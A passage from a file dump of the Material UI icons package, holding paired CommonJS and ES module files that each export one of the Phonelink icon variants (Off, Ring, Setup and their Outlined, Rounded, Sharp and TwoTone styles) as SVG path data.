    "path": "packages/mui-icons-material/lib/PhonelinkOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6V4H7.39l2 2zm2 13V9c0-.55-.45-1-1-1h-6c-.55 0-1 .45-1 1v3.61l2 2V10h4v7h-1.61l2.93 2.93c.39-.13.68-.49.68-.93M2.06 1.51.65 2.92l1.82 1.82C2.18 5.08 2 5.52 2 6v11H0v3h17.73l2.35 2.35 1.41-1.41zM4 17V6.27L14.73 17z\"\n}), 'PhonelinkOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6V4H7.39l2 2zm2 13V9c0-.55-.45-1-1-1h-6c-.55 0-1 .45-1 1v3.61l2 2V10h4v7h-1.61l2.93 2.93c.39-.13.68-.49.68-.93M2.06 1.51.65 2.92l1.82 1.82C2.18 5.08 2 5.52 2 6v11H0v3h17.73l2.35 2.35 1.41-1.41zM4 17V6.27L14.73 17z\"\n}), 'PhonelinkOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M24 19V9c0-.55-.45-1-1-1h-6c-.55 0-1 .45-1 1v3.61l2 2V10h4v7h-1.61l2.93 2.93c.39-.13.68-.49.68-.93M21 6c.55 0 1-.45 1-1s-.45-1-1-1H7.39l2 2zM1.36 2.21c-.39.39-.39 1.02 0 1.41l1.11 1.11C2.18 5.08 2 5.52 2 6v11h-.5c-.83 0-1.5.67-1.5 1.5S.67 20 1.5 20h16.23l1.64 1.64c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L2.77 2.21a.996.996 0 0 0-1.41 0M4 17V6.27L14.73 17z\"\n}), 'PhonelinkOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M24 19V9c0-.55-.45-1-1-1h-6c-.55 0-1 .45-1 1v3.61l2 2V10h4v7h-1.61l2.93 2.93c.39-.13.68-.49.68-.93M21 6c.55 0 1-.45 1-1s-.45-1-1-1H7.39l2 2zM1.36 2.21c-.39.39-.39 1.02 0 1.41l1.11 1.11C2.18 5.08 2 5.52 2 6v11h-.5c-.83 0-1.5.67-1.5 1.5S.67 20 1.5 20h16.23l1.64 1.64c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L2.77 2.21a.996.996 0 0 0-1.41 0M4 17V6.27L14.73 17z\"\n}), 'PhonelinkOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4.56 4-2.5-2.49zM24 8h-8v4.61l2 2V10h4v7h-1.61l3 3H24zm-2-2V4H7.39l2 2zM2.06 1.51.65 2.92 2 4.27V17H0v3h17.73l2.35 2.35 1.41-1.41zM4 17V6.27L14.73 17z\"\n}), 'PhonelinkOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m4.56 4-2.5-2.49zM24 8h-8v4.61l2 2V10h4v7h-1.61l3 3H24zm-2-2V4H7.39l2 2zM2.06 1.51.65 2.92 2 4.27V17H0v3h17.73l2.35 2.35 1.41-1.41zM4 17V6.27L14.73 17z\"\n}), 'PhonelinkOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 17v-7h-4v4.61L20.39 17z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 8h-6c-.55 0-1 .45-1 1v3.61l2 2V10h4v7h-1.61l2.93 2.93c.39-.13.68-.49.68-.93V9c0-.55-.45-1-1-1m-1-2V4H7.39l2 2zM.65 2.92l1.82 1.82C2.18 5.08 2 5.52 2 6v11H0v3h17.73l2.35 2.35 1.41-1.41L2.06 1.51zM4 6.27 14.73 17H4z\"\n}, \"1\")], 'PhonelinkOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 17v-7h-4v4.61L20.39 17z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 8h-6c-.55 0-1 .45-1 1v3.61l2 2V10h4v7h-1.61l2.93 2.93c.39-.13.68-.49.68-.93V9c0-.55-.45-1-1-1m-1-2V4H7.39l2 2zM.65 2.92l1.82 1.82C2.18 5.08 2 5.52 2 6v11H0v3h17.73l2.35 2.35 1.41-1.41L2.06 1.51zM4 6.27 14.73 17H4z\"\n}, \"1\")], 'PhonelinkOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6h18V4H4c-1.1 0-2 .9-2 2v11H0v3h14v-3H4zm19 2h-6c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1m-1 9h-4v-7h4z\"\n}), 'PhonelinkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6h18V4H4c-1.1 0-2 .9-2 2v11H0v3h14v-3H4zm19 2h-6c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1m-1 9h-4v-7h4z\"\n}), 'PhonelinkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkRing.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.1 7.7-1 1c1.8 1.8 1.8 4.6 0 6.5l1 1c2.5-2.3 2.5-6.1 0-8.5M18 9.8l-1 1c.5.7.5 1.6 0 2.3l1 1c1.2-1.2 1.2-3 0-4.3M14 1H4c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 19H4V4h10z\"\n}), 'PhonelinkRing');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkRing.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.1 7.7-1 1c1.8 1.8 1.8 4.6 0 6.5l1 1c2.5-2.3 2.5-6.1 0-8.5M18 9.8l-1 1c.5.7.5 1.6 0 2.3l1 1c1.2-1.2 1.2-3 0-4.3M14 1H4c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 19H4V4h10z\"\n}), 'PhonelinkRing');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkRingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.1 7.7-1 1c1.8 1.8 1.8 4.6 0 6.5l1 1c2.5-2.3 2.5-6.1 0-8.5M18 9.8l-1 1c.5.7.5 1.6 0 2.3l1 1c1.2-1.2 1.2-3 0-4.3M14 1H4c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 19H4V4h10z\"\n}), 'PhonelinkRingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkRingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.1 7.7-1 1c1.8 1.8 1.8 4.6 0 6.5l1 1c2.5-2.3 2.5-6.1 0-8.5M18 9.8l-1 1c.5.7.5 1.6 0 2.3l1 1c1.2-1.2 1.2-3 0-4.3M14 1H4c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 19H4V4h10z\"\n}), 'PhonelinkRingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkRingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 1H4c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 19H4V4h10zm6.63-11.74c-.26-.32-.74-.36-1.04-.06l-.03.03c-.25.25-.26.65-.05.93 1.26 1.64 1.25 3.87-.02 5.57-.21.28-.19.67.05.92l.05.05c.29.29.76.26 1.03-.05 1.8-2.13 1.8-5.19.01-7.39m-3.21 2.11-.06.06c-.2.2-.26.5-.15.76.21.49.21 1.03 0 1.52-.11.26-.05.56.15.76l.08.08c.32.32.87.25 1.09-.15.49-.89.49-1.94-.01-2.86a.687.687 0 0 0-1.1-.17\"\n}), 'PhonelinkRingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkRingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 1H4c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 19H4V4h10zm6.63-11.74c-.26-.32-.74-.36-1.04-.06l-.03.03c-.25.25-.26.65-.05.93 1.26 1.64 1.25 3.87-.02 5.57-.21.28-.19.67.05.92l.05.05c.29.29.76.26 1.03-.05 1.8-2.13 1.8-5.19.01-7.39m-3.21 2.11-.06.06c-.2.2-.26.5-.15.76.21.49.21 1.03 0 1.52-.11.26-.05.56.15.76l.08.08c.32.32.87.25 1.09-.15.49-.89.49-1.94-.01-2.86a.687.687 0 0 0-1.1-.17\"\n}), 'PhonelinkRingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkRingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.1 7.7-1 1c1.8 1.8 1.8 4.6 0 6.5l1 1c2.5-2.3 2.5-6.1 0-8.5M18 9.8l-1 1c.5.7.5 1.6 0 2.3l1 1c1.2-1.2 1.2-3 0-4.3M16 1H2v22h14zm-2 19H4V4h10z\"\n}), 'PhonelinkRingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkRingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.1 7.7-1 1c1.8 1.8 1.8 4.6 0 6.5l1 1c2.5-2.3 2.5-6.1 0-8.5M18 9.8l-1 1c.5.7.5 1.6 0 2.3l1 1c1.2-1.2 1.2-3 0-4.3M16 1H2v22h14zm-2 19H4V4h10z\"\n}), 'PhonelinkRingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkRingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 4h10v16H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 1H4c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 19H4V4h10zm6.1-12.3-1 1c1.8 1.8 1.8 4.6 0 6.5l1 1c2.5-2.3 2.5-6.1 0-8.5M17 10.8c.5.7.5 1.6 0 2.3l1 1c1.2-1.2 1.2-3 0-4.3z\"\n}, \"1\")], 'PhonelinkRingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkRingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 4h10v16H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 1H4c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m0 19H4V4h10zm6.1-12.3-1 1c1.8 1.8 1.8 4.6 0 6.5l1 1c2.5-2.3 2.5-6.1 0-8.5M17 10.8c.5.7.5 1.6 0 2.3l1 1c1.2-1.2 1.2-3 0-4.3z\"\n}, \"1\")], 'PhonelinkRingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 7c0-.55.45-1 1-1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-1.1 0-2 .9-2 2v11h-.5c-.83 0-1.5.67-1.5 1.5S.67 20 1.5 20h11c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5H4zm19 1h-6c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1m-1 9h-4v-7h4z\"\n}), 'PhonelinkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 7c0-.55.45-1 1-1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-1.1 0-2 .9-2 2v11h-.5c-.83 0-1.5.67-1.5 1.5S.67 20 1.5 20h11c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5H4zm19 1h-6c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1m-1 9h-4v-7h4z\"\n}), 'PhonelinkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkSetup.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.82 12.49c.02-.16.04-.32.04-.49s-.02-.33-.04-.49l1.08-.82c.1-.07.12-.21.06-.32l-1.03-1.73c-.06-.11-.2-.15-.31-.11l-1.28.5c-.27-.2-.56-.36-.87-.49l-.2-1.33c0-.12-.11-.21-.24-.21H5.98c-.13 0-.24.09-.26.21l-.2 1.32c-.31.12-.6.3-.87.49l-1.28-.5c-.12-.05-.25 0-.31.11l-1.03 1.73c-.06.12-.03.25.07.33l1.08.82c-.02.16-.03.33-.03.49 0 .17.02.33.04.49l-1.09.83c-.1.07-.12.21-.06.32l1.03 1.73c.06.11.2.15.31.11l1.28-.5c.27.2.56.36.87.49l.2 1.32c.01.12.12.21.25.21h2.06c.13 0 .24-.09.25-.21l.2-1.32c.31-.12.6-.3.87-.49l1.28.5c.12.05.25 0 .31-.11l1.03-1.73c.06-.11.04-.24-.06-.32zM7 13.75c-.99 0-1.8-.78-1.8-1.75s.81-1.75 1.8-1.75 1.8.78 1.8 1.75S8 13.75 7 13.75M18 1.01 8 1c-1.1 0-2 .9-2 2v3h2V5h10v14H8v-1H6v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99\"\n}), 'PhonelinkSetup');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkSetup.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.82 12.49c.02-.16.04-.32.04-.49s-.02-.33-.04-.49l1.08-.82c.1-.07.12-.21.06-.32l-1.03-1.73c-.06-.11-.2-.15-.31-.11l-1.28.5c-.27-.2-.56-.36-.87-.49l-.2-1.33c0-.12-.11-.21-.24-.21H5.98c-.13 0-.24.09-.26.21l-.2 1.32c-.31.12-.6.3-.87.49l-1.28-.5c-.12-.05-.25 0-.31.11l-1.03 1.73c-.06.12-.03.25.07.33l1.08.82c-.02.16-.03.33-.03.49 0 .17.02.33.04.49l-1.09.83c-.1.07-.12.21-.06.32l1.03 1.73c.06.11.2.15.31.11l1.28-.5c.27.2.56.36.87.49l.2 1.32c.01.12.12.21.25.21h2.06c.13 0 .24-.09.25-.21l.2-1.32c.31-.12.6-.3.87-.49l1.28.5c.12.05.25 0 .31-.11l1.03-1.73c.06-.11.04-.24-.06-.32zM7 13.75c-.99 0-1.8-.78-1.8-1.75s.81-1.75 1.8-1.75 1.8.78 1.8 1.75S8 13.75 7 13.75M18 1.01 8 1c-1.1 0-2 .9-2 2v3h2V5h10v14H8v-1H6v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99\"\n}), 'PhonelinkSetup');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkSetupOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 3v3h2V4h10v16H9v-2H7v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2m2.5 12.5c.29-.12.55-.29.8-.48l-.02.03 1.01.39c.23.09.49 0 .61-.22l.84-1.46c.12-.21.07-.49-.12-.64l-.85-.68-.02.03c.02-.16.05-.32.05-.48s-.03-.32-.05-.48l.02.03.85-.68c.19-.15.24-.43.12-.64l-.84-1.46c-.12-.21-.38-.31-.61-.22l-1.01.39.02.03c-.25-.17-.51-.34-.8-.46l-.17-1.08C9.3 7.18 9.09 7 8.84 7H7.16c-.25 0-.46.18-.49.42L6.5 8.5c-.29.12-.55.29-.8.48l.02-.03-1.02-.39c-.23-.09-.49 0-.61.22l-.84 1.46c-.12.21-.07.49.12.64l.85.68.02-.03c-.02.15-.05.31-.05.47s.03.32.05.48l-.02-.03-.85.68c-.19.15-.24.43-.12.64l.84 1.46c.12.21.38.31.61.22l1.01-.39-.01-.04c.25.19.51.36.8.48l.17 1.07c.03.25.24.43.49.43h1.68c.25 0 .46-.18.49-.42zM6 12c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2\"\n}), 'PhonelinkSetupOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkSetupOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 3v3h2V4h10v16H9v-2H7v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2m2.5 12.5c.29-.12.55-.29.8-.48l-.02.03 1.01.39c.23.09.49 0 .61-.22l.84-1.46c.12-.21.07-.49-.12-.64l-.85-.68-.02.03c.02-.16.05-.32.05-.48s-.03-.32-.05-.48l.02.03.85-.68c.19-.15.24-.43.12-.64l-.84-1.46c-.12-.21-.38-.31-.61-.22l-1.01.39.02.03c-.25-.17-.51-.34-.8-.46l-.17-1.08C9.3 7.18 9.09 7 8.84 7H7.16c-.25 0-.46.18-.49.42L6.5 8.5c-.29.12-.55.29-.8.48l.02-.03-1.02-.39c-.23-.09-.49 0-.61.22l-.84 1.46c-.12.21-.07.49.12.64l.85.68.02-.03c-.02.15-.05.31-.05.47s.03.32.05.48l-.02-.03-.85.68c-.19.15-.24.43-.12.64l.84 1.46c.12.21.38.31.61.22l1.01-.39-.01-.04c.25.19.51.36.8.48l.17 1.07c.03.25.24.43.49.43h1.68c.25 0 .46-.18.49-.42zM6 12c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2\"\n}), 'PhonelinkSetupOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkSetupRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 3v2c0 .55.45 1 1 1s1-.45 1-1V4h10v16H9v-1c0-.55-.45-1-1-1s-1 .45-1 1v2c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2m2.5 12.5c.29-.12.55-.29.8-.48l-.02.03 1.01.39c.23.09.49 0 .61-.22l.84-1.46c.12-.21.07-.49-.12-.64l-.85-.68-.02.03c.02-.16.05-.32.05-.48s-.03-.32-.05-.48l.02.03.85-.68c.19-.15.24-.43.12-.64l-.84-1.46c-.12-.21-.38-.31-.61-.22l-1.01.39.02.03c-.25-.17-.51-.34-.8-.46l-.17-1.08C9.3 7.18 9.09 7 8.84 7H7.16c-.25 0-.46.18-.49.42L6.5 8.5c-.29.12-.55.29-.8.48l.02-.03-1.02-.39c-.23-.09-.49 0-.61.22l-.84 1.46c-.12.21-.07.49.12.64l.85.68.02-.03c-.02.15-.05.31-.05.47s.03.32.05.48l-.02-.03-.85.68c-.19.15-.24.43-.12.64l.84 1.46c.12.21.38.31.61.22l1.01-.39-.01-.04c.25.19.51.36.8.48l.17 1.07c.03.25.24.43.49.43h1.68c.25 0 .46-.18.49-.42zM6 12c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2\"\n}), 'PhonelinkSetupRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PhonelinkSetupRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 3v2c0 .55.45 1 1 1s1-.45 1-1V4h10v16H9v-1c0-.55-.45-1-1-1s-1 .45-1 1v2c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2m2.5 12.5c.29-.12.55-.29.8-.48l-.02.03 1.01.39c.23.09.49 0 .61-.22l.84-1.46c.12-.21.07-.49-.12-.64l-.85-.68-.02.03c.02-.16.05-.32.05-.48s-.03-.32-.05-.48l.02.03.85-.68c.19-.15.24-.43.12-.64l-.84-1.46c-.12-.21-.38-.31-.61-.22l-1.01.39.02.03c-.25-.17-.51-.34-.8-.46l-.17-1.08C9.3 7.18 9.09 7 8.84 7H7.16c-.25 0-.46.18-.49.42L6.5 8.5c-.29.12-.55.29-.8.48l.02-.03-1.02-.39c-.23-.09-.49 0-.61.22l-.84 1.46c-.12.21-.07.49.12.64l.85.68.02-.03c-.02.15-.05.31-.05.47s.03.32.05.48l-.02-.03-.85.68c-.19.15-.24.43-.12.64l.84 